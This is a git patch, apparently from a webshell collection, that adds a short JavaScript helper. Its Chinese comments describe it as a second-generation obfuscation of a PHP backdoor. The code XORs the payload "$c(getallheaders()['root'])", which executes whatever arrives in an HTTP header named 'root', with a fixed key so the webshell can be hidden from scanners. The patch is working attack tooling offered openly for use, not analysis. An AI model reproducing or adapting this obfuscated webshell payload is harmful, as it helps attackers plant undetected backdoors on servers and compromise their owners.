From 9c35c31c1a6f2e7ef366063351603a5b5162a756 Mon Sep 17 00:00:00 2001 From: new <670357+tennc@users.noreply.github.com> Date: Sat, 8 Apr 2023 19:30:28 +0800 Subject: [PATCH] Create 2023-04-08.js MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 2023-04-08.php 的密文 二次生成版本 --- php/2023-04-08.js | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 php/2023-04-08.js diff --git a/php/2023-04-08.js b/php/2023-04-08.js new file mode 100644 index 0000000..eec9f21 --- /dev/null +++ b/php/2023-04-08.js @@ -0,0 +1,19 @@ +// 此代码为2023-04-08.php 里的二次生成密文版,只需要替换异或的第一部分字符串就好了 +// 感谢群友的无私奉献,我就直接拿来放到这里了 + +function xorDecrypt(cipherText, key) { + let plainText = ''; + for (let i = 0; i < cipherText.length; i++) { + let cipherCharCode = cipherText.charCodeAt(i); + let keyCharCode = key.charCodeAt(i % key.length); + let plainCharCode = cipherCharCode ^ keyCharCode; + plainText += String.fromCharCode(plainCharCode); + } + return plainText; +} + +let cipherText = "$c(getallheaders()['root'])"; +// cipherText 可以修改起里面获取的内容 +let key = String.raw`t?~KI\OB)+8"X(A6K|{L5L&J]kf~`; +let plainText = xorDecrypt(cipherText, key); +console.log(plainText);